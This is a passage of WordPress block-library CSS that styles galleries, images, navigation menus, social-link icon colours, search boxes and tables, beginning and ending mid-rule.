.wp-block-gallery.columns-1 .blocks-gallery-item:nth-of-type(1n), .blocks-gallery-grid.columns-1 .blocks-gallery-image:nth-of-type(1n), .blocks-gallery-grid.columns-1 .blocks-gallery-item:nth-of-type(1n) { margin-right: 0; } .wp-block-gallery.columns-2 .blocks-gallery-image:nth-of-type(2n), .wp-block-gallery.columns-2 .blocks-gallery-item:nth-of-type(2n), .blocks-gallery-grid.columns-2 .blocks-gallery-image:nth-of-type(2n), .blocks-gallery-grid.columns-2 .blocks-gallery-item:nth-of-type(2n) { margin-right: 0; } .wp-block-gallery.columns-3 .blocks-gallery-image:nth-of-type(3n), .wp-block-gallery.columns-3 .blocks-gallery-item:nth-of-type(3n), .blocks-gallery-grid.columns-3 .blocks-gallery-image:nth-of-type(3n), .blocks-gallery-grid.columns-3 .blocks-gallery-item:nth-of-type(3n) { margin-right: 0; } .wp-block-gallery.columns-4 .blocks-gallery-image:nth-of-type(4n), .wp-block-gallery.columns-4 .blocks-gallery-item:nth-of-type(4n), .blocks-gallery-grid.columns-4 .blocks-gallery-image:nth-of-type(4n), .blocks-gallery-grid.columns-4 .blocks-gallery-item:nth-of-type(4n) { margin-right: 0; } .wp-block-gallery.columns-5 .blocks-gallery-image:nth-of-type(5n), .wp-block-gallery.columns-5 .blocks-gallery-item:nth-of-type(5n), .blocks-gallery-grid.columns-5 .blocks-gallery-image:nth-of-type(5n), .blocks-gallery-grid.columns-5 .blocks-gallery-item:nth-of-type(5n) { margin-right: 0; } .wp-block-gallery.columns-6 .blocks-gallery-image:nth-of-type(6n), .wp-block-gallery.columns-6 .blocks-gallery-item:nth-of-type(6n), .blocks-gallery-grid.columns-6 .blocks-gallery-image:nth-of-type(6n), .blocks-gallery-grid.columns-6 .blocks-gallery-item:nth-of-type(6n) { margin-right: 0; } .wp-block-gallery.columns-7 .blocks-gallery-image:nth-of-type(7n), .wp-block-gallery.columns-7 .blocks-gallery-item:nth-of-type(7n), .blocks-gallery-grid.columns-7 .blocks-gallery-image:nth-of-type(7n), .blocks-gallery-grid.columns-7 .blocks-gallery-item:nth-of-type(7n) { margin-right: 0; } .wp-block-gallery.columns-8 .blocks-gallery-image:nth-of-type(8n), .wp-block-gallery.columns-8 .blocks-gallery-item:nth-of-type(8n), .blocks-gallery-grid.columns-8 .blocks-gallery-image:nth-of-type(8n), .blocks-gallery-grid.columns-8 .blocks-gallery-item:nth-of-type(8n) { margin-right: 0; } } .wp-block-gallery .blocks-gallery-image:last-child, .wp-block-gallery .blocks-gallery-item:last-child, .blocks-gallery-grid .blocks-gallery-image:last-child, .blocks-gallery-grid .blocks-gallery-item:last-child { margin-right: 0; } .wp-block-gallery.alignleft, .wp-block-gallery.alignright, .blocks-gallery-grid.alignleft, .blocks-gallery-grid.alignright { max-width: 420px; width: 100%; } .wp-block-gallery.aligncenter .blocks-gallery-item figure, .blocks-gallery-grid.aligncenter .blocks-gallery-item figure { justify-content: center; } .wp-block-group { box-sizing: border-box; } h1.has-background, h2.has-background, h3.has-background, h4.has-background, h5.has-background, h6.has-background { padding: 1.25em 2.375em; } .wp-block-image { margin-bottom: 1em; } .wp-block-image img { max-width: 100%; } .wp-block-image:not(.is-style-rounded) img { border-radius: inherit; } .wp-block-image.aligncenter { text-align: center; } .wp-block-image.alignfull img, .wp-block-image.alignwide img { width: 100%; } .wp-block-image .alignleft, .wp-block-image .alignright, .wp-block-image .aligncenter { display: table; } .wp-block-image .alignleft > figcaption, .wp-block-image .alignright > figcaption, .wp-block-image .aligncenter > figcaption { display: table-caption; caption-side: bottom; } .wp-block-image .alignleft { /*rtl:ignore*/ float: left; /*rtl:ignore*/ margin-left: 0; margin-right: 1em; margin-top: 0.5em; margin-bottom: 0.5em; } .wp-block-image .alignright { /*rtl:ignore*/ float: right; /*rtl:ignore*/ margin-right: 0; margin-left: 1em; margin-top: 0.5em; margin-bottom: 0.5em; } .wp-block-image .aligncenter { margin-left: auto; margin-right: auto; } .wp-block-image figcaption { margin-top: 0.5em; margin-bottom: 1em; } .wp-block-image.is-style-rounded img { border-radius: 9999px; } .wp-block-image.is-style-circle-mask img { border-radius: 9999px; } @supports ((-webkit-mask-image: none) or (mask-image: none)) or (-webkit-mask-image: none) { .wp-block-image.is-style-circle-mask img { /* stylelint-disable */ -webkit-mask-image: url('data:image/svg+xml;utf8,'); mask-image: url('data:image/svg+xml;utf8,'); /* stylelint-enable */ mask-mode: alpha; -webkit-mask-repeat: no-repeat; mask-repeat: no-repeat; -webkit-mask-size: contain; mask-size: contain; -webkit-mask-position: center; mask-position: center; border-radius: 0; } } .wp-block-latest-comments__comment { line-height: 1.1; list-style: none; margin-bottom: 1em; } .has-avatars .wp-block-latest-comments__comment { min-height: 2.25em; list-style: none; } .has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-meta, .has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-excerpt { margin-left: 3.25em; } .has-dates .wp-block-latest-comments__comment, .has-excerpts .wp-block-latest-comments__comment { line-height: 1.5; } .wp-block-latest-comments__comment-excerpt p { font-size: 0.875em; line-height: 1.8; margin: 0.36em 0 1.4em; } .wp-block-latest-comments__comment-date { display: block; font-size: 0.75em; } .wp-block-latest-comments .avatar, .wp-block-latest-comments__comment-avatar { border-radius: 1.5em; display: block; float: left; height: 2.5em; margin-right: 0.75em; width: 2.5em; } .wp-block-latest-posts.alignleft { /*rtl:ignore*/ margin-right: 2em; } .wp-block-latest-posts.alignright { /*rtl:ignore*/ margin-left: 2em; } .wp-block-latest-posts.wp-block-latest-posts__list { list-style: none; } .wp-block-latest-posts.wp-block-latest-posts__list li { clear: both; } .wp-block-latest-posts.is-grid { display: flex; flex-wrap: wrap; padding: 0; } .wp-block-latest-posts.is-grid li { margin: 0 1.25em 1.25em 0; width: 100%; } @media (min-width: 600px) { .wp-block-latest-posts.columns-2 li { width: calc((100% / 2) - 1.25em + (1.25em / 2)); } .wp-block-latest-posts.columns-2 li:nth-child(2n) { margin-right: 0; } .wp-block-latest-posts.columns-3 li { width: calc((100% / 3) - 1.25em + (1.25em / 3)); } .wp-block-latest-posts.columns-3 li:nth-child(3n) { margin-right: 0; } .wp-block-latest-posts.columns-4 li { width: calc((100% / 4) - 1.25em + (1.25em / 4)); } .wp-block-latest-posts.columns-4 li:nth-child(4n) { margin-right: 0; } .wp-block-latest-posts.columns-5 li { width: calc((100% / 5) - 1.25em + (1.25em / 5)); } .wp-block-latest-posts.columns-5 li:nth-child(5n) { margin-right: 0; } .wp-block-latest-posts.columns-6 li { width: calc((100% / 6) - 1.25em + (1.25em / 6)); } .wp-block-latest-posts.columns-6 li:nth-child(6n) { margin-right: 0; } } .wp-block-latest-posts__post-date, .wp-block-latest-posts__post-author { display: block; color: #555; font-size: 0.8125em; } .wp-block-latest-posts__post-excerpt { margin-top: 0.5em; margin-bottom: 1em; } .wp-block-latest-posts__featured-image a { display: inline-block; } .wp-block-latest-posts__featured-image img { height: auto; width: auto; } .wp-block-latest-posts__featured-image.alignleft { /*rtl:ignore*/ margin-right: 1em; } .wp-block-latest-posts__featured-image.alignright { /*rtl:ignore*/ margin-left: 1em; } .wp-block-latest-posts__featured-image.aligncenter { margin-bottom: 1em; text-align: center; } .block-editor-image-alignment-control__row .components-base-control__field { display: flex; justify-content: space-between; align-items: center; } .block-editor-image-alignment-control__row .components-base-control__field .components-base-control__label { margin-bottom: 0; } ol.has-background, ul.has-background { padding: 1.25em 2.375em; } .wp-block-media-text { /*!rtl:begin:ignore*/ direction: ltr; /*!rtl:end:ignore*/ display: -ms-grid; display: grid; -ms-grid-columns: 50% 1fr; grid-template-columns: 50% 1fr; -ms-grid-rows: auto; grid-template-rows: auto; } .wp-block-media-text.has-media-on-the-right { -ms-grid-columns: 1fr 50%; grid-template-columns: 1fr 50%; } .wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__content, .wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__media { -ms-grid-row-align: start; align-self: start; } .wp-block-media-text .wp-block-media-text__content, .wp-block-media-text .wp-block-media-text__media, .wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__content, .wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__media { -ms-grid-row-align: center; align-self: center; } .wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__content, .wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__media { -ms-grid-row-align: end; align-self: end; } .wp-block-media-text .wp-block-media-text__media { /*!rtl:begin:ignore*/ -ms-grid-column: 1; grid-column: 1; -ms-grid-row: 1; grid-row: 1; /*!rtl:end:ignore*/ margin: 0; } .wp-block-media-text .wp-block-media-text__content { direction: ltr; /*!rtl:begin:ignore*/ -ms-grid-column: 2; grid-column: 2; -ms-grid-row: 1; grid-row: 1; /*!rtl:end:ignore*/ padding: 0 8% 0 8%; word-break: break-word; } .wp-block-media-text.has-media-on-the-right .wp-block-media-text__media { /*!rtl:begin:ignore*/ -ms-grid-column: 2; grid-column: 2; -ms-grid-row: 1; grid-row: 1; /*!rtl:end:ignore*/ } .wp-block-media-text.has-media-on-the-right .wp-block-media-text__content { /*!rtl:begin:ignore*/ -ms-grid-column: 1; grid-column: 1; -ms-grid-row: 1; grid-row: 1; /*!rtl:end:ignore*/ } .wp-block-media-text__media img, .wp-block-media-text__media video { max-width: unset; width: 100%; vertical-align: middle; } .wp-block-media-text.is-image-fill .wp-block-media-text__media { height: 100%; min-height: 250px; background-size: cover; } .wp-block-media-text.is-image-fill .wp-block-media-text__media > a { display: block; height: 100%; } .wp-block-media-text.is-image-fill .wp-block-media-text__media img { position: absolute; width: 1px; height: 1px; padding: 0; margin: -1px; overflow: hidden; clip: rect(0, 0, 0, 0); border: 0; } /* * Here we here not able to use a mobile first CSS approach. * Custom widths are set using inline styles, and on mobile, * we need 100% width, so we use important to overwrite the inline style. * If the style were set on mobile first, on desktop styles, * we would have no way of setting the style again to the inline style. */ @media (max-width: 600px) { .wp-block-media-text.is-stacked-on-mobile { -ms-grid-columns: 100% !important; grid-template-columns: 100% !important; } .wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__media { -ms-grid-column: 1; grid-column: 1; -ms-grid-row: 1; grid-row: 1; } .wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__content { -ms-grid-column: 1; grid-column: 1; -ms-grid-row: 2; grid-row: 2; } } .wp-block-navigation:not(.has-background) .wp-block-navigation__container .wp-block-navigation__container { color: #1e1e1e; background-color: #fff; min-width: 200px; } .items-justified-left > ul { justify-content: flex-start; } .items-justified-center > ul { justify-content: center; } .items-justified-right > ul { justify-content: flex-end; } .items-justified-space-between > ul { justify-content: space-between; } .wp-block-navigation-link { display: flex; align-items: center; position: relative; margin: 0; } .wp-block-navigation-link .wp-block-navigation__container:empty { display: none; } .wp-block-navigation__container { list-style: none; margin: 0; padding-left: 0; display: flex; flex-wrap: wrap; } .is-vertical .wp-block-navigation__container { display: block; } .has-child > .wp-block-navigation-link__content { padding-right: 0.5em; } .has-child .wp-block-navigation__container { border: 1px solid rgba(0, 0, 0, 0.15); background-color: inherit; color: inherit; position: absolute; left: 0; top: 100%; width: -webkit-fit-content; width: -moz-fit-content; width: fit-content; z-index: 2; opacity: 0; transition: opacity 0.1s linear; visibility: hidden; } .has-child .wp-block-navigation__container > .wp-block-navigation-link > .wp-block-navigation-link__content { flex-grow: 1; } .has-child .wp-block-navigation__container > .wp-block-navigation-link > .wp-block-navigation-link__submenu-icon { padding-right: 0.5em; } @media (min-width: 782px) { .has-child .wp-block-navigation__container { left: 1.5em; } .has-child .wp-block-navigation__container .wp-block-navigation__container { left: 100%; top: -1px; } .has-child .wp-block-navigation__container .wp-block-navigation__container::before { content: ""; position: absolute; right: 100%; height: 100%; display: block; width: 0.5em; background: transparent; } .has-child .wp-block-navigation__container .wp-block-navigation-link__submenu-icon svg { transform: rotate(0); } } .has-child:hover { cursor: pointer; } .has-child:hover > .wp-block-navigation__container { visibility: visible; opacity: 1; display: flex; flex-direction: column; } .has-child:focus-within { cursor: pointer; } .has-child:focus-within > .wp-block-navigation__container { visibility: visible; opacity: 1; display: flex; flex-direction: column; } .wp-block-navigation[style*=text-decoration] .wp-block-navigation__container, .wp-block-navigation[style*=text-decoration] .wp-block-navigation-link { text-decoration: inherit; } .wp-block-navigation[style*=text-decoration] .wp-block-navigation-link__content { text-decoration: inherit; } .wp-block-navigation[style*=text-decoration] .wp-block-navigation-link__content:focus, .wp-block-navigation[style*=text-decoration] .wp-block-navigation-link__content:active { text-decoration: inherit; } .wp-block-navigation:not([style*=text-decoration]) .wp-block-navigation-link__content { text-decoration: none; } .wp-block-navigation:not([style*=text-decoration]) .wp-block-navigation-link__content:focus, .wp-block-navigation:not([style*=text-decoration]) .wp-block-navigation-link__content:active { text-decoration: none; } .wp-block-navigation-link__content { color: inherit; padding: 0.5em 1em; } .wp-block-navigation-link__content + .wp-block-navigation-link__content { padding-top: 0; } .has-text-color .wp-block-navigation-link__content { color: inherit; } .wp-block-navigation-link__label { word-break: normal; overflow-wrap: break-word; } .wp-block-navigation-link__submenu-icon { height: inherit; padding: 0.375em 1em 0.375em 0; } .wp-block-navigation-link__submenu-icon svg { fill: currentColor; } @media (min-width: 782px) { .wp-block-navigation-link__submenu-icon svg { transform: rotate(90deg); } } .is-small-text { font-size: 0.875em; } .is-regular-text { font-size: 1em; } .is-large-text { font-size: 2.25em; } .is-larger-text { font-size: 3em; } .has-drop-cap:not(:focus)::first-letter { float: left; font-size: 8.4em; line-height: 0.68; font-weight: 100; margin: 0.05em 0.1em 0 0; text-transform: uppercase; font-style: normal; } p.has-background { padding: 1.25em 2.375em; } p.has-text-color a { color: inherit; } .wp-block-post-author { display: flex; flex-wrap: wrap; } .wp-block-post-author__byline { width: 100%; margin-top: 0; margin-bottom: 0; font-size: 0.5em; } .wp-block-post-author__avatar { margin-right: 1em; } .wp-block-post-author__bio { margin-bottom: 0.7em; font-size: 0.7em; } .wp-block-post-author__content { flex-grow: 1; flex-basis: 0; } .wp-block-post-author__name { font-weight: bold; margin: 0; } .wp-block-post-comments-form input[type=submit] { color: #fff; background-color: #32373c; border: none; border-radius: 1.55em; box-shadow: none; cursor: pointer; display: inline-block; font-size: 1.125em; padding: 0.667em 1.333em; text-align: center; text-decoration: none; overflow-wrap: break-word; } .wp-block-post-comments-form input[type=submit]:hover, .wp-block-post-comments-form input[type=submit]:focus, .wp-block-post-comments-form input[type=submit]:active, .wp-block-post-comments-form input[type=submit]:visited { color: #fff; } .wp-block-preformatted { white-space: pre-wrap; } .wp-block-pullquote { padding: 3em 0; margin-left: 0; margin-right: 0; text-align: center; } .wp-block-pullquote.alignleft, .wp-block-pullquote.alignright { max-width: 420px; } .wp-block-pullquote.alignleft p, .wp-block-pullquote.alignright p { font-size: 1.25em; } .wp-block-pullquote p { font-size: 1.75em; line-height: 1.6; } .wp-block-pullquote cite, .wp-block-pullquote footer { position: relative; } .wp-block-pullquote .has-text-color a { color: inherit; } .wp-block-pullquote:not(.is-style-solid-color) { background: none; } .wp-block-pullquote.is-style-solid-color { border: none; } .wp-block-pullquote.is-style-solid-color blockquote { margin-left: auto; margin-right: auto; text-align: left; max-width: 60%; } .wp-block-pullquote.is-style-solid-color blockquote p { margin-top: 0; margin-bottom: 0; font-size: 2em; } .wp-block-pullquote.is-style-solid-color blockquote cite { text-transform: none; font-style: normal; } .wp-block-pullquote cite { color: inherit; } .wp-block-query-loop { max-width: 100%; list-style: none; padding: 0; } .wp-block-query-loop li { clear: both; } .wp-block-query-loop.is-flex-container { flex-direction: row; display: flex; flex-wrap: wrap; } .wp-block-query-loop.is-flex-container li { margin: 0 0 1.25em 0; width: 100%; } @media (min-width: 600px) { .wp-block-query-loop.is-flex-container li { margin-right: 1.25em; } .wp-block-query-loop.is-flex-container.is-flex-container.columns-2 > li { width: calc((100% / 2) - 1.25em + (1.25em / 2)); } .wp-block-query-loop.is-flex-container.is-flex-container.columns-2 > li:nth-child(2n) { margin-right: 0; } .wp-block-query-loop.is-flex-container.is-flex-container.columns-3 > li { width: calc((100% / 3) - 1.25em + (1.25em / 3)); } .wp-block-query-loop.is-flex-container.is-flex-container.columns-3 > li:nth-child(3n) { margin-right: 0; } .wp-block-query-loop.is-flex-container.is-flex-container.columns-4 > li { width: calc((100% / 4) - 1.25em + (1.25em / 4)); } .wp-block-query-loop.is-flex-container.is-flex-container.columns-4 > li:nth-child(4n) { margin-right: 0; } .wp-block-query-loop.is-flex-container.is-flex-container.columns-5 > li { width: calc((100% / 5) - 1.25em + (1.25em / 5)); } .wp-block-query-loop.is-flex-container.is-flex-container.columns-5 > li:nth-child(5n) { margin-right: 0; } .wp-block-query-loop.is-flex-container.is-flex-container.columns-6 > li { width: calc((100% / 6) - 1.25em + (1.25em / 6)); } .wp-block-query-loop.is-flex-container.is-flex-container.columns-6 > li:nth-child(6n) { margin-right: 0; } } .wp-block-query-pagination { display: flex; flex-direction: row; flex-wrap: wrap; } .wp-block-query-pagination > .wp-block-query-pagination-next, .wp-block-query-pagination > .wp-block-query-pagination-previous, .wp-block-query-pagination > .wp-block-query-pagination-numbers { display: inline-block; /*rtl:ignore*/ margin-right: 0.5em; margin-bottom: 0.5em; } .wp-block-query-pagination > .wp-block-query-pagination-next:last-child, .wp-block-query-pagination > .wp-block-query-pagination-previous:last-child, .wp-block-query-pagination > .wp-block-query-pagination-numbers:last-child { /*rtl:ignore*/ margin-right: 0; } .wp-block-quote.is-style-large, .wp-block-quote.is-large { margin-bottom: 1em; padding: 0 1em; } .wp-block-quote.is-style-large p, .wp-block-quote.is-large p { font-size: 1.5em; font-style: italic; line-height: 1.6; } .wp-block-quote.is-style-large cite, .wp-block-quote.is-style-large footer, .wp-block-quote.is-large cite, .wp-block-quote.is-large footer { font-size: 1.125em; text-align: right; } .wp-block-rss.wp-block-rss { box-sizing: border-box; } .wp-block-rss.alignleft { /*rtl:ignore*/ margin-right: 2em; } .wp-block-rss.alignright { /*rtl:ignore*/ margin-left: 2em; } .wp-block-rss.is-grid { display: flex; flex-wrap: wrap; padding: 0; list-style: none; } .wp-block-rss.is-grid li { margin: 0 1em 1em 0; width: 100%; } @media (min-width: 600px) { .wp-block-rss.columns-2 li { width: calc(( 100% / 2 ) - 1em); } .wp-block-rss.columns-3 li { width: calc(( 100% / 3 ) - 1em); } .wp-block-rss.columns-4 li { width: calc(( 100% / 4 ) - 1em); } .wp-block-rss.columns-5 li { width: calc(( 100% / 5 ) - 1em); } .wp-block-rss.columns-6 li { width: calc(( 100% / 6 ) - 1em); } } .wp-block-rss__item-publish-date, .wp-block-rss__item-author { display: block; color: #555; font-size: 0.8125em; } .wp-block-search .wp-block-search__button { background: #f7f7f7; border: 1px solid #ccc; padding: 0.375em 0.625em; color: #32373c; margin-left: 0.625em; word-break: normal; } .wp-block-search .wp-block-search__button.has-icon { line-height: 0; } .wp-block-search .wp-block-search__button svg { min-width: 1.5em; min-height: 1.5em; } .wp-block-search .wp-block-search__inside-wrapper { display: flex; flex: auto; flex-wrap: nowrap; max-width: 100%; } .wp-block-search .wp-block-search__label { width: 100%; } .wp-block-search .wp-block-search__input { flex-grow: 1; min-width: 3em; border: 1px solid #949494; } .wp-block-search.wp-block-search__button-only .wp-block-search__button { margin-left: 0; } .wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper { padding: 4px; border: 1px solid #949494; } .wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper .wp-block-search__input { border-radius: 0; border: none; padding: 0 0 0 0.25em; } .wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper .wp-block-search__input:focus { outline: none; } .wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper .wp-block-search__button { padding: 0.125em 0.5em; } .wp-block-separator.is-style-wide { border-bottom-width: 1px; } .wp-block-separator.is-style-dots { background: none !important; border: none; text-align: center; max-width: none; line-height: 1; height: auto; } .wp-block-separator.is-style-dots::before { content: "···"; color: currentColor; font-size: 1.5em; letter-spacing: 2em; /*rtl:ignore*/ padding-left: 2em; font-family: serif; } .wp-block-custom-logo { line-height: 0; } .wp-block-custom-logo .aligncenter { display: table; } .wp-block-custom-logo.is-style-rounded img { border-radius: 9999px; } .wp-block-social-links { display: flex; flex-wrap: wrap; justify-content: flex-start; padding-left: 0; padding-right: 0; text-indent: 0; margin-left: 0; } .wp-block-social-links .wp-social-link a, .wp-block-social-links .wp-social-link a:hover { text-decoration: none; border-bottom: 0; box-shadow: none; } .wp-block-social-links .wp-social-link.wp-social-link.wp-social-link { margin: 4px 8px 4px 0; } .wp-block-social-links .wp-social-link a { padding: 0.25em; } .wp-block-social-links .wp-social-link svg { width: 1em; height: 1em; } .wp-block-social-links.has-small-icon-size { font-size: 16px; } .wp-block-social-links, .wp-block-social-links.has-normal-icon-size { font-size: 24px; } .wp-block-social-links.has-large-icon-size { font-size: 36px; } .wp-block-social-links.has-huge-icon-size { font-size: 48px; } .wp-block-social-links.aligncenter { justify-content: center; display: flex; } .wp-block-social-links.alignright { justify-content: flex-end; } .wp-social-link { display: block; border-radius: 9999px; transition: transform 0.1s ease; height: auto; } @media (prefers-reduced-motion: reduce) { .wp-social-link { transition-duration: 0s; } } .wp-social-link a { display: block; line-height: 0; transition: transform 0.1s ease; } .wp-social-link a, .wp-social-link a:hover, .wp-social-link a:active, .wp-social-link a:visited, .wp-social-link svg { color: currentColor; fill: currentColor; } .wp-social-link:hover { transform: scale(1.1); } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link { background-color: #f0f0f0; color: #444; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-amazon { background-color: #f90; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-bandcamp { background-color: #1ea0c3; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-behance { background-color: #0757fe; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-codepen { background-color: #1e1f26; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-deviantart { background-color: #02e49b; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dribbble { background-color: #e94c89; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dropbox { background-color: #4280ff; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-etsy { background-color: #f45800; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-facebook { background-color: #1778f2; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-fivehundredpx { background-color: #000; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-flickr { background-color: #0461dd; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-foursquare { background-color: #e65678; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-github { background-color: #24292d; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-goodreads { background-color: #eceadd; color: #382110; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-google { background-color: #ea4434; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-instagram { background-color: #f00075; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-lastfm { background-color: #e21b24; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-linkedin { background-color: #0d66c2; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-mastodon { background-color: #3288d4; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-medium { background-color: #02ab6c; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-meetup { background-color: #f6405f; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-patreon { background-color: #ff424d; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pinterest { background-color: #e60122; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pocket { background-color: #ef4155; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-reddit { background-color: #fe4500; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-skype { background-color: #0478d7; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-snapchat { background-color: #fefc00; color: #fff; stroke: #000; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-soundcloud { background-color: #ff5600; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-spotify { background-color: #1bd760; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-telegram { background-color: #2aabee; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tiktok { background-color: #000; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tumblr { background-color: #011835; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitch { background-color: #6440a4; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitter { background-color: #1da1f2; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vimeo { background-color: #1eb7ea; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vk { background-color: #4680c2; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-wordpress { background-color: #3499cd; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-yelp { background-color: #d32422; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-youtube { background-color: #f00; color: #fff; } .wp-block-social-links.is-style-logos-only .wp-social-link { background: none; padding: 4px; } .wp-block-social-links.is-style-logos-only .wp-social-link-amazon { color: #f90; } .wp-block-social-links.is-style-logos-only .wp-social-link-bandcamp { color: #1ea0c3; } .wp-block-social-links.is-style-logos-only .wp-social-link-behance { color: #0757fe; } .wp-block-social-links.is-style-logos-only .wp-social-link-codepen { color: #1e1f26; } .wp-block-social-links.is-style-logos-only .wp-social-link-deviantart { color: #02e49b; } .wp-block-social-links.is-style-logos-only .wp-social-link-dribbble { color: #e94c89; } .wp-block-social-links.is-style-logos-only .wp-social-link-dropbox { color: #4280ff; } .wp-block-social-links.is-style-logos-only .wp-social-link-etsy { color: #f45800; } .wp-block-social-links.is-style-logos-only .wp-social-link-facebook { color: #1778f2; } .wp-block-social-links.is-style-logos-only .wp-social-link-fivehundredpx { color: #000; } .wp-block-social-links.is-style-logos-only .wp-social-link-flickr { color: #0461dd; } .wp-block-social-links.is-style-logos-only .wp-social-link-foursquare { color: #e65678; } .wp-block-social-links.is-style-logos-only .wp-social-link-github { color: #24292d; } .wp-block-social-links.is-style-logos-only .wp-social-link-goodreads { color: #382110; } .wp-block-social-links.is-style-logos-only .wp-social-link-google { color: #ea4434; } .wp-block-social-links.is-style-logos-only .wp-social-link-instagram { color: #f00075; } .wp-block-social-links.is-style-logos-only .wp-social-link-lastfm { color: #e21b24; } .wp-block-social-links.is-style-logos-only .wp-social-link-linkedin { color: #0d66c2; } .wp-block-social-links.is-style-logos-only .wp-social-link-mastodon { color: #3288d4; } .wp-block-social-links.is-style-logos-only .wp-social-link-medium { color: #02ab6c; } .wp-block-social-links.is-style-logos-only .wp-social-link-meetup { color: #f6405f; } .wp-block-social-links.is-style-logos-only .wp-social-link-patreon { color: #ff424d; } .wp-block-social-links.is-style-logos-only .wp-social-link-pinterest { color: #e60122; } .wp-block-social-links.is-style-logos-only .wp-social-link-pocket { color: #ef4155; } .wp-block-social-links.is-style-logos-only .wp-social-link-reddit { color: #fe4500; } .wp-block-social-links.is-style-logos-only .wp-social-link-skype { color: #0478d7; } .wp-block-social-links.is-style-logos-only .wp-social-link-snapchat { color: #fff; stroke: #000; } .wp-block-social-links.is-style-logos-only .wp-social-link-soundcloud { color: #ff5600; } .wp-block-social-links.is-style-logos-only .wp-social-link-spotify { color: #1bd760; } .wp-block-social-links.is-style-logos-only .wp-social-link-telegram { color: #2aabee; } .wp-block-social-links.is-style-logos-only .wp-social-link-tiktok { color: #000; } .wp-block-social-links.is-style-logos-only .wp-social-link-tumblr { color: #011835; } .wp-block-social-links.is-style-logos-only .wp-social-link-twitch { color: #6440a4; } .wp-block-social-links.is-style-logos-only .wp-social-link-twitter { color: #1da1f2; } .wp-block-social-links.is-style-logos-only .wp-social-link-vimeo { color: #1eb7ea; } .wp-block-social-links.is-style-logos-only .wp-social-link-vk { color: #4680c2; } .wp-block-social-links.is-style-logos-only .wp-social-link-wordpress { color: #3499cd; } .wp-block-social-links.is-style-logos-only .wp-social-link-yelp { background-color: #d32422; color: #fff; } .wp-block-social-links.is-style-logos-only .wp-social-link-youtube { color: #f00; } .wp-block-social-links.is-style-pill-shape .wp-social-link { width: auto; } .wp-block-social-links.is-style-pill-shape .wp-social-link a { padding-left: calc((2/3) * 1em); padding-right: calc((2/3) * 1em); } .wp-block-spacer { clear: both; } p.wp-block-subhead { font-size: 1.1em; font-style: italic; opacity: 0.75; } .wp-block-tag-cloud.aligncenter { text-align: center; } .wp-block-tag-cloud.alignfull { padding-left: 1em; padding-right: 1em; } .wp-block-table { overflow-x: auto; } .wp-block-table table { width: 100%; } .wp-block-table .has-fixed-layout { table-layout: fixed; width: 100%; } .wp-block-table .has-fixed-layout td, .wp-block-table .has-fixed-layout th { word-break: break-word; } .wp-block-table.alignleft, .wp-block-table.aligncenter, .wp-block-table.alignright { display: table; width: auto; } .wp-block-table.alignleft td, .wp-block-table.alignleft th, .wp-block-table.aligncenter td, .wp-block-table.aligncenter th, .wp-block-table.alignright td, .wp-block-table.alignright th { word-break: break-word; } .wp-block-table .has-subtle-light-gray-background-color { background-color: #f3f4f5; } .wp-block-table .has-subtle-pale-green-background-color { background-color: #e9fbe5; } .wp-block-table .has-subtle-pale-blue-background-color { 